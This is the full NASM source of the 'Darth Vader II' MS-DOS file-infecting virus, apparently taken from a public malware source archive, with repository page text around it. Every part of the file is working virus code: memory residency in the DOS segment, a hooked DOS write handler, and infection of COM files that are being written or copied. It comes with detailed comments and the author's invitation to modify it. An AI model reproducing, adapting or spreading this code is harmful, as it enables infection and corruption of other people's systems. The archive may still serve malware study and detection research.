MalwareSourceCode/MSDOS/D-Index/Virus.MSDOS.Unknown.darth2.asm

227 lines
7.6 KiB
NASM
Raw Normal View History

2022-08-21 09:07:57 +00:00
;*******************************************************************************
;* *
;* D A R T H V A D E R ][ *
;* *
;* (C) - Copyright 1991 by Waleri Todorov, CICTT-Sofia *
;* All Rights Reserved *
;* *
;* This is the second release of Darth Vader virus. Now he infect only *
;* those COM file, wich have area of 345 (or more) zeros. Virus put *
;* himself in this area and make jump to its code. As before, he can't *
;* be stoped by ANTI4US or disk write utilities - DOS function 40h *
;* (WRITE to File/Device). The virus operate in memory only, so there is *
;* no slowing in operations. This release of virus support DOS versions *
;* from 2.X till 4.X. *
;* You may make any modifications in this source, BUT let me know *
;* what have you done (drop message at Virus eXchange BBS) *
;* Waleri Todorov *
;*******************************************************************************
org 0 ; Virus start offset is 0
call NextLine ; Call next instruction
NextLine
pop si ; and calculate its present location
sub si,3
mov [0f0h],si ; Save own location in PSP
mov [0FEh],ax ; Save AX in PSP (Important for DOS
; external commands)
xor ax,ax ; Make DS point in interrupts vectors
mov ds,ax ;
mov es,[2Bh*4+2] ; Load ES with DOS segment from int2B
mov ax,9000h ; DS will point at 9000h
mov ds,ax ; usualy there are zeros
xor di,di ; ES:DI point first byte in DOS segment
NextZero
inc di ; Next byte
cmp di,0F00h ; If more than F00 bytes checked
ja ReturnControl ; then suppose no room and exit
push di ; else save tested offset
xor si,si ; DS:SI == 9000:0000 (zeros area)
mov cx,offset LastByte ; Size of virus
repe cmpsb ; Compare until equal
pop di ; Restore tested area offset
jcxz Found ; If tested area is fill with zeros->
jmp short NextZero ; else check next
Found ; <- Will install himself in this area
mov si,cs:[0F0h] ; Get own start address (maybe diff.)
mov cs:[0F2h],di ; Save offset in DOS segment
push cs ; Set DS point to virus segment
pop ds ;
mov cx,offset LastByte ; Size of virus
rep movsb ; Move itself in DOSSEG
push es ; Set DS point to DOSSEG
pop ds
mov si,di ; From this offset (after virus)
NextCall ; Will search DOS dispatcher
inc si ; Next byte
jz ReturnControl ; If segment overrun -> Return control
push si ; Save tested area offset
lodsw ; Load word from DS:SI
xchg ax,bx ; and put readed value in BX
lodsb ; Load byte from DS:SI
cmp bx,0FF36h ; Check 'magic' bytes
je CheclAl ; If first word match -> check last
AgainCall
pop si ; else restore offset
jmp short NextCall ; and go search next byte
CheclAl
cmp al,16h ; Check last 'magic' byte
jne AgainCall ; If not match go search next byte
pop si ; Else restore founded offset
push si ; and save it for further usage
mov di,cs:[0F2h] ; Get virus offset
mov [4],di ; and save it to DOSSEG
add di,offset HandleCall ; DI now adjusted to
movsw ; original dispatcher place
movsw ; Original dispatcher go at ES:DI for
movsb ; further calls from virus
pop di ; Restore founded offset
mov al,9Ah ; and put an absolute FAR CALL
stosb
mov ax,offset Handle ; Put offset of new dispatcher
add ax,cs:[0F2h] ; adjust him for different offsets
stosw ; and store offset in FAR CALL
mov ax,es ; put DOSSEG either in FAR CALL
stosw
; Since this moment virus is installed and operated in memory. If make a copy
; of a file with DOS copy or PCTools and if file have area of 345 (or more)
; zeros, the copy (not the original) will became infected. Copied file will
; operate correctly when you start him. The virus logic allow multiple copies
; of the virus in the memory so you may have file with several copies of virus
; (each memory copy put himself in file)
ReturnControl ; Return control to main program
push cs ; Set DS and ES to point at PSP
push cs
pop ds
pop es
mov di,100h ; Set ES:DI point start of file at PSP:100
push di ; Put DI in stack for dummy return
mov si,[0F0h] ; Get beginning of the virus
add si,offset First3 ; and adjust for first 3 instr.
movsw ; Move saved First instructions
movsb ;
mov ax,[0FEh] ; Restore saved AX (required by DOS
ret ; external command. Return control
; via dummy RET
Fail
jmp Do ; Requested jump! Don't touch here!
Handle
mov cs:[0Ah],ds ; Save write buffer segment
mov cs:[0Ch],dx ; Save write buffer offset
mov cs:[0Eh],cx ; Save write buffer size
push ax ; Save important registers
push bx
push cx
push es
push si
push di
cmp ah,40h ; If function is not 40 (WRITE)
jne Fail ; then call DOS with no infection
cmp cx,offset LastByte+10h ; Check if size of buffer
jb Fail ; is big enough to hold all virus
mov ax,1220h ; Get file handle internal table number
int 2Fh ; Via int2F (undocumented)
mov bl,es:[di] ; Load table number to BL
mov ax,1216h ; Get handle table address in ES:DI
int 2Fh ; Via int2F (undocumented)
add di,28h ; ES:DI will point file extension
push cs ; Set DS to point in virus
pop ds
mov si,offset Com ; SI point to COM string
add si,[4] ; adjust for different offsets
mov cx,3 ; Will compare 3 bytes
repe cmpsb ; Compare until equal
jne Do ; If not equal -> exit with no infect
push ds ; ES point to virus (DOS) segment
pop es
mov ds,cs:[0Ah] ; DS point to write buffer segment
mov si,cs:[0Ch] ; SI point to write buffer offset
mov di,offset First3 ; DI point to save area for
add di,cs:[4] ; first 3 instruction. Adjust fo offset
movsw ; Save first 3 instruction from write buffer
movsb ; to virus buffer
mov ax,9000h ; ES wil point zeros at 9000
mov es,ax
mov cx,cs:[0Eh] ; Restore write buffer size
SearchHole
xor di,di ; ES:DI point to 9000:0000
inc si ; SI point next byte from write buffer
dec cx ; Decrease remaining bytes
jz Do ; If test all buffer -> no infection
push cx ; Save remain buffer size
push si ; Save current buffer offset
mov cx,offset LastByte ; Will check for virus size only
repe cmpsb ; Check until equal
pop si ; Restore tested area offset
jcxz FoundHole ; If 345 zeros -> Go infect
pop cx ; Else restore remain buffer size
jmp short SearchHole ; And go check next byte
FoundHole
pop cx ; Restore remain buffer size
push si ; Save DS:SI (point to zeros in write buffer)
push ds ;
mov es,cs:[0Ah] ; ES:DI point to beginning of buffer
mov di,cs:[0Ch] ;
mov al,0E9h ; Put a NEAR JMP in buffer
stosb ;
sub si,cs:[0Ch] ; Calculate argument for JMP
sub si,3
mov ax,si ; and store it in buffer
stosw ;
pop es ; ES:DI now will point to zeros
pop di ; and the JMP address point here
; So virus will receive control first
push cs ; DS:SI will point to virus code in memory
pop ds
mov si,cs:[4] ; Adjust for different offsets
mov cx,offset LastByte ; Will move virus size only
rep movsb ; Move virus in write buffer
Do
pop di ; Restore important registers
pop si
pop es
pop cx
pop bx
pop ax
mov dx,cs:[0Ch] ; Restore write buffer address
mov ds,cs:[0Ah] ; to DS:DX
HandleCall
db 5 dup (0) ; Here come original DOS jump instr.
; Usualy it is CALL SS:[MemOffs]
; In original DOS jump instr. is placed
; a FAR CALL to new WRITE handler
retf ; Return to DOS
First3 ; Here come first 3 instruction of infected file
int 20h ; Now they are dummy terminate
nop
Com
db 'COM' ; String to check for any COM file
db 'Darth Vader' ; Virus signature
LastByte ; Dummy label to compute virus size
nop
2021-01-12 23:38:47 +00:00